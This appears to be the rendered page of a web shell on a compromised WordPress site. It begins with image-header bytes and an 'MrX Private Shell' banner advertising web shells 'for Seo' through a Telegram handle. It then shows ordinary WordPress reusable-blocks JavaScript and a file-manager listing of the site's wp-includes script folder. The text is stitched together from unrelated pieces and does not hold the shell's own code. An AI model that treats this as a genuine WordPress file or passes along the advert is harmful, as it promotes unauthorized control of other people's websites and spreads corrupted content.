����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/*! This file is auto-generated */
this.wp=this.wp||{},this.wp.reusableBlocks=function(e){var t={};function n(c){if(t[c])return t[c].exports;var o=t[c]={i:c,l:!1,exports:{}};return e[c].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,c){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:c})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var c=Object.create(null);if(n.r(c),Object.defineProperty(c,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(c,o,function(t){return e[t]}.bind(null,o));return c},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s="iqm2")}({"1ZqX":function(e,t){e.exports=window.wp.data},GRId:function(e,t){e.exports=window.wp.element},HSyU:function(e,t){e.exports=window.wp.blocks},Mmq9:function(e,t){e.exports=window.wp.url},Tqx9:function(e,t){e.exports=window.wp.primitives},YLtl:function(e,t){e.exports=window.lodash},axFQ:function(e,t){e.exports=window.wp.blockEditor},iqm2:function(e,t,n){"use strict";n.r(t),n.d(t,"store",(function(){return j})),n.d(t,"ReusableBlocksMenuItems",(function(){return x}));var c={};n.r(c),n.d(c,"__experimentalConvertBlockToStatic",(function(){return u})),n.d(c,"__experimentalConvertBlocksToReusable",(function(){return b})),n.d(c,"__experimentalDeleteReusableBlock",(function(){return d})),n.d(c,"__experimentalSetEditingReusableBlock",(function(){return p}));var o={};n.r(o),n.d(o,"__experimentalIsEditingReusableBlock",(function(){return f}));var r=n("1ZqX"),l=n("YLtl"),s=n("axFQ"),i=n("HSyU"),a=n("l3Sj");const u=e=>t=>{let{registry:n}=t;const c=n.select(s.store).getBlock(e),o=n.select("core").getEditedEntityRecord("postType","wp_block",c.attributes.ref),r=Object(i.parse)(Object(l.isFunction)(o.content)?o.content(o):o.content);n.dispatch(s.store).replaceBlocks(c.clientId,r)},b=(e,t)=>async n=>{let{registry:c,dispatch:o}=n;const r={title:t||Object(a.__)("Untitled Reusable block"),content:Object(i.serialize)(c.select(s.store).getBlocksByClientId(e)),status:"publish"},l=await c.dispatch("core").saveEntityRecord("postType","wp_block",r),u=Object(i.createBlock)("core/block",{ref:l.id});c.dispatch(s.store).replaceBlocks(e,u),o.__experimentalSetEditingReusableBlock(u.clientId,!0)},d=e=>async t=>{let{registry:n}=t;if(!n.select("core").getEditedEntityRecord("postType","wp_block",e))return;const c=n.select(s.store).getBlocks().filter(t=>Object(i.isReusableBlock)(t)&&t.attributes.ref===e).map(e=>e.clientId);c.length&&n.dispatch(s.store).removeBlocks(c),await n.dispatch("core").deleteEntityRecord("postType","wp_block",e)};function p(e,t){return{type:"SET_EDITING_REUSABLE_BLOCK",clientId:e,isEditing:t}}var m=Object(r.combineReducers)({isEditingReusableBlock:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return"SET_EDITING_REUSABLE_BLOCK"===(null==t?void 0:t.type)?{...e,[t.clientId]:t.isEditing}:e}});function f(e,t){return e.isEditingReusableBlock[t]}const j=Object(r.createReduxStore)("core/reusable-blocks",{actions:c,reducer:m,selectors:o,__experimentalUseThunks:!0});Object(r.register)(j);var _=n("GRId"),O=n("tI+e"),k=n("Tqx9");var w=Object(_.createElement)(k.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(_.createElement)(k.Path,{d:"M7 7.2h8.2L13.5 9l1.1 1.1 3.6-3.6-3.5-4-1.1 1 1.9 2.3H7c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.2-.5zm13.8 4V11h-1.5v.3c0 1.1 0 3.5-1 4.5-.3.3-.7.5-1.3.5H8.8l1.7-1.7-1.1-1.1L5.9 17l3.5 4 1.1-1-1.9-2.3H17c.9 0 1.7-.3 2.3-.9 1.5-1.4 1.5-4.2 1.5-5.6z"})),y=n("onLe"),v=n("jZUy");function E(e){let{clientIds:t,rootClientId:n}=e;const[c,o]=Object(_.useState)(!1),[l,u]=Object(_.useState)(""),b=Object(r.useSelect)(e=>{var c;const{canUser:o}=e(v.store),{getBlocksByClientId:r,canInsertBlockType:l}=e(s.store),a=null!==(c=r(t))&&void 0!==c?c:[];return!(1===a.length&&a[0]&&Object(i.isReusableBlock)(a[0])&&!!e(v.store).getEntityRecord("postType","wp_block",a[0].attributes.ref))&&l("core/block",n)&&a.every(e=>!!e&&e.isValid&&Object(i.hasBlockSupport)(e.name,"reusable",!0))&&!!o("create","blocks")},[t]),{__experimentalConvertBlocksToReusable:d}=Object(r.useDispatch)(j),{createSuccessNotice:p,createErrorNotice:m}=Object(r.useDispatch)(y.store),f=Object(_.useCallback)((async function(e){try{await d(t,e),p(Object(a.__)("Reusable block created."),{type:"snackbar"})}catch(e){m(e.message,{type:"snackbar"})}}),[t]);return b?Object(_.createElement)(s.BlockSettingsMenuControls,null,e=>{let{onClose:t}=e;return Object(_.createElement)(_.Fragment,null,Object(_.createElement)(O.MenuItem,{icon:w,onClick:()=>{o(!0)}},Object(a.__)("Add to Reusable blocks")),c&&Object(_.createElement)(O.Modal,{title:Object(a.__)("Create Reusable block"),closeLabel:Object(a.__)("Close"),onRequestClose:()=>{o(!1),u("")},overlayClassName:"reusable-blocks-menu-items__convert-modal"},Object(_.createElement)("form",{onSubmit:e=>{e.preventDefault(),f(l),o(!1),u(""),t()}},Object(_.createElement)(O.TextControl,{label:Object(a.__)("Name"),value:l,onChange:u}),Object(_.createElement)(O.Flex,{className:"reusable-blocks-menu-items__convert-modal-actions",justify:"flex-end"},Object(_.createElement)(O.FlexItem,null,Object(_.createElement)(O.Button,{variant:"secondary",onClick:()=>{o(!1),u("")}},Object(a.__)("Cancel"))),Object(_.createElement)(O.FlexItem,null,Object(_.createElement)(O.Button,{variant:"primary",type:"submit"},Object(a.__)("Save")))))))}):null}var g=n("Mmq9");var B=function(e){let{clientId:t}=e;const{isVisible:n}=Object(r.useSelect)(e=>{const{getBlock:n}=e(s.store),{canUser:c}=e(v.store),o=n(t);return{isVisible:!!o&&Object(i.isReusableBlock)(o)&&!!c("update","blocks",o.attributes.ref)}},[t]),{__experimentalConvertBlockToStatic:c}=Object(r.useDispatch)(j);return n?Object(_.createElement)(s.BlockSettingsMenuControls,null,Object(_.createElement)(O.MenuItem,{href:Object(g.addQueryArgs)("edit.php",{post_type:"wp_block"})},Object(a.__)("Manage Reusable blocks")),Object(_.createElement)(O.MenuItem,{onClick:()=>c(t)},Object(a.__)("Convert to regular blocks"))):null};var x=Object(r.withSelect)(e=>{const{getSelectedBlockClientIds:t}=e(s.store);return{clientIds:t()}})((function(e){let{clientIds:t,rootClientId:n}=e;return Object(_.createElement)(_.Fragment,null,Object(_.createElement)(E,{clientIds:t,rootClientId:n}),1===t.length&&Object(_.createElement)(B,{clientId:t[0]}))}))},jZUy:function(e,t){e.exports=window.wp.coreData},l3Sj:function(e,t){e.exports=window.wp.i18n},onLe:function(e,t){e.exports=window.wp.notices},"tI+e":function(e,t){e.exports=window.wp.components}});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| vendor | Folder | 0755 |
|
|
| a11y.js | File | 10.41 KB | 0644 |
|
| a11y.min.js | File | 3 KB | 0644 |
|
| annotations.js | File | 34.53 KB | 0644 |
|
| annotations.min.js | File | 8.14 KB | 0644 |
|
| api-fetch.js | File | 23.77 KB | 0644 |
|
| api-fetch.min.js | File | 5.93 KB | 0644 |
|
| autop.js | File | 18 KB | 0644 |
|
| autop.min.js | File | 6.16 KB | 0644 |
|
| blob.js | File | 6.02 KB | 0644 |
|
| blob.min.js | File | 1.54 KB | 0644 |
|
| block-directory.js | File | 61.99 KB | 0644 |
|
| block-directory.min.js | File | 21.59 KB | 0644 |
|
| block-editor.js | File | 1.68 MB | 0644 |
|
| block-editor.min.js | File | 525.41 KB | 0644 |
|
| block-library.js | File | 1.31 MB | 0644 |
|
| block-library.min.js | File | 587.2 KB | 0644 |
|
| block-serialization-default-parser.js | File | 14.7 KB | 0644 |
|
| block-serialization-default-parser.min.js | File | 2.94 KB | 0644 |
|
| blocks.js | File | 472.01 KB | 0644 |
|
| blocks.min.js | File | 154.84 KB | 0644 |
|
| components.js | File | 2.31 MB | 0644 |
|
| components.min.js | File | 769.75 KB | 0644 |
|
| compose.js | File | 152.74 KB | 0644 |
|
| compose.min.js | File | 35.95 KB | 0644 |
|
| core-data.js | File | 175.52 KB | 0644 |
|
| core-data.min.js | File | 47.55 KB | 0644 |
|
| customize-widgets.js | File | 138.8 KB | 0644 |
|
| customize-widgets.min.js | File | 49.56 KB | 0644 |
|
| data-controls.js | File | 9.36 KB | 0644 |
|
| data-controls.min.js | File | 2.23 KB | 0644 |
|
| data.js | File | 130.02 KB | 0644 |
|
| data.min.js | File | 23.88 KB | 0644 |
|
| date.js | File | 231.08 KB | 0644 |
|
| date.min.js | File | 197.52 KB | 0644 |
|
| deprecated.js | File | 7.65 KB | 0644 |
|
| deprecated.min.js | File | 1.61 KB | 0644 |
|
| dom-ready.js | File | 5.02 KB | 0644 |
|
| dom-ready.min.js | File | 1.23 KB | 0644 |
|
| dom.js | File | 62.61 KB | 0644 |
|
| dom.min.js | File | 13.23 KB | 0644 |
|
| edit-post.js | File | 340.89 KB | 0644 |
|
| edit-post.min.js | File | 118.39 KB | 0644 |
|
| edit-site.js | File | 401.34 KB | 0644 |
|
| edit-site.min.js | File | 144.04 KB | 0644 |
|
| edit-widgets.js | File | 176.56 KB | 0644 |
|
| edit-widgets.min.js | File | 62.18 KB | 0644 |
|
| editor.js | File | 394.49 KB | 0644 |
|
| editor.min.js | File | 138.37 KB | 0644 |
|
| element.js | File | 43.2 KB | 0644 |
|
| element.min.js | File | 9.42 KB | 0644 |
|
| escape-html.js | File | 8.59 KB | 0644 |
|
| escape-html.min.js | File | 1.74 KB | 0644 |
|
| format-library.js | File | 62.92 KB | 0644 |
|
| format-library.min.js | File | 21.41 KB | 0644 |
|
| hooks.js | File | 23 KB | 0644 |
|
| hooks.min.js | File | 5.56 KB | 0644 |
|
| html-entities.js | File | 5.7 KB | 0644 |
|
| html-entities.min.js | File | 1.38 KB | 0644 |
|
| i18n.js | File | 50.39 KB | 0644 |
|
| i18n.min.js | File | 10.16 KB | 0644 |
|
| is-shallow-equal.js | File | 6.53 KB | 0644 |
|
| is-shallow-equal.min.js | File | 1.66 KB | 0644 |
|
| keyboard-shortcuts.js | File | 25.7 KB | 0644 |
|
| keyboard-shortcuts.min.js | File | 5.47 KB | 0644 |
|
| keycodes.js | File | 16.4 KB | 0644 |
|
| keycodes.min.js | File | 4.05 KB | 0644 |
|
| list-reusable-blocks.js | File | 13.95 KB | 0644 |
|
| list-reusable-blocks.min.js | File | 5.19 KB | 0644 |
|
| media-utils.js | File | 24.11 KB | 0644 |
|
| media-utils.min.js | File | 7.98 KB | 0644 |
|
| notices.js | File | 17.07 KB | 0644 |
|
| notices.min.js | File | 3.04 KB | 0644 |
|
| nux.js | File | 24.52 KB | 0644 |
|
| nux.min.js | File | 6.03 KB | 0644 |
|
| plugins.js | File | 21.42 KB | 0644 |
|
| plugins.min.js | File | 5.3 KB | 0644 |
|
| primitives.js | File | 10.23 KB | 0644 |
|
| primitives.min.js | File | 2.83 KB | 0644 |
|
| priority-queue.js | File | 8.73 KB | 0644 |
|
| priority-queue.min.js | File | 1.6 KB | 0644 |
|
| redux-routine.js | File | 25.08 KB | 0644 |
|
| redux-routine.min.js | File | 9.57 KB | 0644 |
|
| reusable-blocks.js | File | 20.9 KB | 0644 |
|
| reusable-blocks.min.js | File | 6.79 KB | 0644 |
|
| rich-text.js | File | 142.25 KB | 0644 |
|
| rich-text.min.js | File | 35.88 KB | 0644 |
|
| server-side-render.js | File | 15.29 KB | 0644 |
|
| server-side-render.min.js | File | 4.68 KB | 0644 |
|
| shortcode.js | File | 19 KB | 0644 |
|
| shortcode.min.js | File | 3.96 KB | 0644 |
|
| token-list.js | File | 9.89 KB | 0644 |
|
| token-list.min.js | File | 2.28 KB | 0644 |
|
| url.js | File | 28.54 KB | 0644 |
|
| url.min.js | File | 5.56 KB | 0644 |
|
| viewport.js | File | 13.6 KB | 0644 |
|
| viewport.min.js | File | 3.06 KB | 0644 |
|
| warning.js | File | 10.83 KB | 0644 |
|
| warning.min.js | File | 2.86 KB | 0644 |
|
| widgets.js | File | 55.28 KB | 0644 |
|
| widgets.min.js | File | 22.16 KB | 0644 |
|
| wordcount.js | File | 17.32 KB | 0644 |
|
| wordcount.min.js | File | 3.18 KB | 0644 |
|